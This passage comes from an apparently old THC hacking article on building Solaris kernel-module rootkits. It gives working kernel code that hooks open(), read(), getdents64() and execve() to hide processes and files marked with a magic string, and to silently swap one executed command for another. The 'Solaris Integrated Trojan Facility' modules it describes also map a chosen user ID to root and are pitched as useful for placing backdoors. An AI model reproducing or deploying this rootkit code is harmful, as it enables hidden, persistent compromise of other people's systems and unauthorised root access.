/* address of initial environment vector */</tt>
<br><tt> char
pr_dmodel; /* data model of the process */</tt>
<br><tt> char
pr_pad2[3];</tt>
<br><tt> int
pr_filler[7]; /* reserved for future use */</tt>
<br><tt> lwpsinfo_t pr_lwp;
/* information for representative lwp */</tt>
<br><tt>} psinfo_t;</tt>
<br> </blockquote>
It's always the size of the<tt> psinfo_t</tt> struct. The member <tt>psargs</tt>
includes the executed filename and the following arguments. Whenever a
file named <tt>psinfo</tt> is opened a faked <tt>open()</tt> syscall will
set a special flag, signaling that one of the next <tt>read()</tt> calls
will read this file. Note that inside the /proc file system Solaris uses
the <tt>open()</tt> syscall instead of the <tt>open64()</tt> syscall.
<blockquote><tt>#define MAGIC "CHT.THC"</tt>
<br><tt>char magic[] = MAGIC;</tt>
<br><tt>char psinfo[] = "psinfo";</tt>
<br><tt>int psfildes = FALSE;</tt>
<p>[...]
<p><tt>int newopen(const char *path, int oflag, mode_t mode)</tt>
<br><tt>{</tt>
<br><tt> int ret; </tt>
<p><tt> ret = oldopen(path, oflag, mode);</tt>
<br><tt> if (strstr(path, (char *) &psinfo) != NULL)
{</tt>
<br><tt> psfildes = ret;</tt>
<br><tt> } else</tt>
<br><tt> psfildes = FALSE;</tt>
<p><tt> return ret;</tt>
<br><tt>}</tt></blockquote>
A redirected <tt>read()</tt> function will look into the file if it has
the size of a <tt>psinfo</tt> file and the <tt>open64()</tt> call has set
the <tt>psfildes</tt> flag to the specific file descriptor. The<tt> read()</tt>
syscall will then copy the content of the file to a <tt>psinfo_t</tt> struct
and compare the executed file with the magic string. This is done by investigating
<tt>psinfo_t->pr_psargs</tt>.
If the magic string is found it will return an error and this proc entry
won't be displayed in a process listing.
<blockquote><tt>ssize_t</tt>
<br><tt>newread(int fildes, void *buf, size_t nbyte)</tt>
<br><tt>{</tt>
<br><tt> ssize_t ret;</tt>
<br><tt> psinfo_t *info;</tt>
<p><tt> ret = oldread(fildes, buf, nbyte);</tt>
<br><tt> if (fildes > 0 && fildes == psfildes
&& nbyte == sizeof(psinfo_t)) { </tt>
<br><tt> info = (psinfo_t *)
kmem_alloc(sizeof(psinfo_t), KM_SLEEP);</tt>
<br><tt> copyin(buf, (void *)
info, sizeof(psinfo_t));</tt>
<p><tt> if (strstr(info->pr_psargs,
(char *) &magic) != NULL) {</tt>
<br><tt>#ifdef DEBUG</tt>
<br><tt>
cmn_err(CE_NOTE,"hiding process: %s", info->pr_psargs);</tt>
<br><tt>#endif</tt>
<br><tt>
kmem_free(info, sizeof(psinfo_t));</tt>
<br><tt>
set_errno(ENOENT);</tt>
<br><tt>
return -1;</tt>
<br><tt> } else</tt>
<br><tt>
kmem_free(info, sizeof(psinfo_t));</tt>
<br><tt> }</tt>
<br><tt> return ret;</tt>
<br><tt>}</tt></blockquote>
You see that this is really not a proper way to hide processes from being
listed because a lot cpu power will be wasted by the <tt>open64()</tt>
and the <tt>read()</tt> call due to the fact that they got called very
often on any system. A really fast method can be found in 5.6 Hiding processes
(structured proc approach), just read on.</blockquote>
<font size=+1>---> Module: sitf0.1.c </font>
<blockquote>The module sitf0.1.c (Solaris Integrated Trojan Facility) demonstrates
all topics described above, it is configured by setting the following variables:
<ol><tt>#define MAGIC "CHT.THC"</tt>
<br><tt>#define KEY "mykey"</tt>
<br><tt>#define UID 1001</tt></ol>
If a file or a process includes the string <tt>MAGIC</tt>, it will not
be listed by any tool. Directories or file content of files containing
this string will also be unaccessiable if the security flag is set. You
can toggle the security flag by using the touch command, <tt>KEY</tt> is
the argument for touch.
<blockquote><tt>$ touch mykey</tt></blockquote>
The UID specifies the user id that should automatically be mapped to root
if a user logs on.You can monitor all activities via syslogd if you compiled
the module with the <tt>DEBUG</tt> defintion.</blockquote>
<font size=+1>5.5 Redirecting an execve() call</font>
<blockquote>Redirecting the execve() call was really a challange on Solaric
(Sparc), because the kernel really "cares" about a proper user- and kernel
memory transfer. The following code does not allocate user memory, it simply
overwrites the defined buffer with the new command to execute, eventhough
I have tested this call a thousand times and nothing bad happened, I advice
you to read the next version of this article, that will feature some
techniques
to allocate user memory properly.
<blockquote><tt>#define OLDCMD "/bin/who"</tt>
<br><tt>#define NEWCMD "/usr/openwin/bin/xview/xcalc"</tt>
<br><tt>char oldcmd[] = OLDCMD;</tt>
<br><tt>char newcmd[] = NEWCMD;</tt>
<p>[...]
<p><tt>int newexecve(const char *filename, const char *argv[], const char
*envp[])</tt>
<br><tt>{</tt>
<br><tt> int ret;</tt>
<br><tt> char *name;</tt>
<br><tt> unsigned long addr; </tt>
<p><tt> name = (char *) kmem_alloc(256, KM_SLEEP);</tt>
<br><tt> copyin(filename, name, 256);</tt>
<br><tt> if (!strcmp(name, (char *) oldcmd)) {</tt>
<br><tt> copyout((char *) newcmd,
(char *) filename, strlen(newcmd) + 1);</tt>
<br><tt>#ifdef DEBUG</tt>
<br><tt> cmn_err(CE_NOTE,"sitf:
executing %s instead of %s", newcmd, name);</tt>
<br><tt>#endif</tt>
<br><tt> }</tt>
<br><tt> kmem_free(name, 256); </tt>
<br><tt> return oldexecve(filename, argv, envp);</tt>
<br><tt>}</tt></blockquote>
</blockquote>
<font size=+1>5.6 Hiding processes (structured proc approach)</font>
<blockquote>This is a proper approach for hiding processes from being listed.
Take a look at the header file <tt>/usr/include/sys/proc.h</tt>, you will
find inside the large <tt>proc_t</tt> struct a member that is called <tt>struct
user p_user</tt>. Every process owns such a <tt>proc_t </tt>struct. Solaris
generates the files inside the /proc directory from these <tt>proc_t</tt>
entries and their corresponding values. If you look into the definition
of the <tt>user</tt> struct in <tt>/usr/include/sys/user.h</tt>, you will
find what I was looking for the last weeks:
<ol><tt>typedef struct user {</tt>
<p>[...]
<br><tt> /*</tt>
<br><tt> * Executable file
info.</tt>
<br><tt> */</tt>
<br><tt> struct exdata
u_exdata;</tt>
<br><tt> auxv_t u_auxv[__KERN_NAUXV_IMPL];
/* aux vector from exec */</tt>
<br><tt> char
u_psargs[PSARGSZ]; /* arguments from exec
*/</tt>
<br><tt> char
u_comm[MAXCOMLEN + 1];</tt>
<p>[...]</ol>
The member <tt>u_psargs</tt> carries the executed filename of a process
and its arguments, this is a good place to check if we should hide the
process. There is a little macro defintion in proc.h that helps us getting
the <tt>p_user</tt> entry from <tt>proc_t</tt>:
<ol><tt>/* Macro to convert proc pointer to a user block pointer */</tt>
<br><tt>#define PTOU(p)
(&(p)->p_user)</tt></ol>
Now we can determine the exectued filename of every process if we know
where the <tt>proc_t</tt> struct is. Another nice funtions helps us finding
the <tt>proc_t</tt> struct from a corresponding <tt>pid:</tt> <tt>proc_t
*prfind(pid_t). </tt>A tool listing process accesses the /proc directory
that stores the processes sorted by their <tt>pids</tt>. I included a small
check into the <tt>getdents64()</tt> fake syscall from above, so the function
<tt>check_for_process()
</tt>gets
called.
<blockquote>[...]
<p> <tt>while (i > 0) {</tt>
<br><tt>
reclen = buf3->d_reclen;</tt>
<br><tt>
i -= reclen;</tt>
<p><tt>
if ((strstr((char *) &(buf3->d_name), (char *) &magic) != NULL)
||</tt>
<br><tt>
check_for_process((char *) &(buf3->d_name))) {</tt>
<br><tt>#ifdef DEBUG</tt>
<br><tt>
cmn_err(CE_NOTE,"sitf: hiding file/process (%s)", buf3->d_name);</tt>
<br><tt>#endif</tt>
<br><tt>
if (i != 0)</tt>
<br><tt>
memmove(buf3, (char *) buf3 + buf3->d_reclen, i);</tt>
<br><tt>
else</tt>
<br><tt>
buf3->d_off = 1024;</tt>
<br><tt>
ret -= reclen;</tt>
<br><tt>
}</tt>
<p>[...]</blockquote>
Now let's take a look at the <tt>check_for_process()</tt> function. In
the following code I use a small function called <tt>sitf_isdigit()</tt>
and <tt>sitf_atoi()</tt>, you should easily guess what these function do.
In this content it tells us if the file is maybe inside the proc and represents
a pid. The <tt>check_process()</tt> call implements the mechanism described
above:
<br>
<blockquote><tt>int check_for_process(char *filename)</tt>
<br><tt>{</tt>
<br><tt> if (sitf_isdigit(filename) && check_process(sitf_atoi(filename)))</tt>
<br><tt> return TRUE;</tt>
<br><tt> else</tt>
<br><tt> return FALSE;</tt>
<br><tt>}</tt>
<p><tt>int check_process(pid_t pid)</tt>
<br><tt>{</tt>
<br><tt> proc_t *proc;</tt>
<br><tt> char *psargs;</tt>
<br><tt> int ret;</tt>
<p><tt> proc = (proc_t *) prfind(pid);</tt>
<br><tt> psargs = (char *) kmem_alloc(PSARGSZ, KM_SLEEP); </tt>
<br><tt> if (proc != NULL)</tt>
<br><tt> /*</tt>
<br><tt> * PTOU(proc)->u_psargs
is inside the kernel memory, no special</tt>
<br><tt> * copy methods
are needed.</tt>
<br><tt> */ </tt>
<br><tt> memcpy(psargs, PTOU(proc)->u_psargs,
PSARGSZ);</tt>
<br><tt> else </tt>
<br><tt> return FALSE;</tt>
<p><tt> if (strstr(psargs, (char *) &magic) != NULL)</tt>
<br><tt> ret = TRUE;</tt>
<br><tt> else </tt>
<br><tt> ret = FALSE;</tt>
<br><tt> kmem_free(psargs, PSARGSZ);</tt>
<br><tt> return ret;</tt>
<br><tt>}</tt></blockquote>
</blockquote>
<font size=+1>---> Module: sitf0.2.c</font>
<blockquote>The sitf0.2.c (Solaris Integrated Trojan Facility) implements
the features described in 5.5 and 5.6, it is configured as the sitf0.1
module and includes the following 2 defintions:
<blockquote><tt>#define OLDCMD "/bin/who"</tt>
<br><tt>#define NEWCMD "/usr/openwin/bin/xview/xcalc"</tt></blockquote>
If the file <tt>OLDCMD</tt> is executed the <tt>NEWCMD</tt> will be executed
instead, this is a usefull feature for placing backdoors in hidden directories. </blockquote>
<hr ALIGN=LEFT SIZE=1 NOSHADE WIDTH="100%">
<br>
<p><font size=+1>6 Future plans</font>
<ul>If you read the article carefully, you may have found a lot of things
to be fixed in future releases, here is a brief summary of my ideas and
plans for the next version - including fixes and improvements:
<ul>- Proper implementation of allocating user memory
<br>- Bugfree version of the <tt>getdents64()</tt> file hiding mechanism
allowing files to contain the magic word more than once.
<br>- Proper hiding of the module by backdooring the ksyms module
<br>- ICMP backdoor executing programs realized backdooring the icmp module
<br>- Hiding connections from netstat
<br>- UDP based telnet access via the udp module (damn, this is hard stuff.
Idea by Escher)
<br>- A module version for Solaris 2.5 (Sparc) and 2.6 (Sparc/x86)</ul>
As a result of this article I also plan to write a security module for
Solairs 2.7 (Sparc/x86) including the following features:
<ul>- Protected module loading and unloading
<br>- Limited process listings for users
<br>- Symlink checks in writable directories
<br>- Kernel based packet sniffing
<br>- Exploited overflow notification</ul>
</ul>
<hr ALIGN=LEFT SIZE=1 NOSHADE WIDTH="100%">
<br>
<p><font size=+1>7 Closing words</font>
<blockquote>I thank the following people that helped creating this article:
<blockquote>- Wilkins ... for all his help, betatesting and ideas
<br>- Pragmatic ... for his articles and support at the CCCamp
<br>- Acpizer ... for all his knowledge and help with the modules
<br>- Escher ... for his Solaris 2.5 support and corrections
<br>- Horizon ... for his Ultra Sparc port and his help
<br>- Knie ... godfather of OpenBSD
<br>- Plaguez ... for his great itf.c Linux module (written in '97)
<br>- Ekonroth from the church of shambler ... for mental support
<br>- All people in my favorite IRC channel</blockquote>
I would also like to thank my girlfriend who spent a lot of time with me
talking about Solaris' kernel-architecture.
<p>If you have ideas, critisism or further questions, please contact me
at <a href="mailto:plasmoid@pimmel.com">plasmoid@pimmel.com</a>. I am thankful
for improving suggestions. Just don't forget this article is not designed
for script kiddies, intrusion is illegal and I don't have the ambition
to help you hacking into some lame provider systems.
<br>If you read this far, you might also be interested in one of the other
THC articles or magazines at <a href="http://www.infowar.co.uk/thc">http://www.infowar.co.uk/thc/</a>.</blockquote>
<blockquote>have fun,
<br>Plasmoid / THC
<br>
<br>
<blockquote> </blockquote>
</blockquote>
</td>
</tr>
</table></center>
</body>
</html>
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed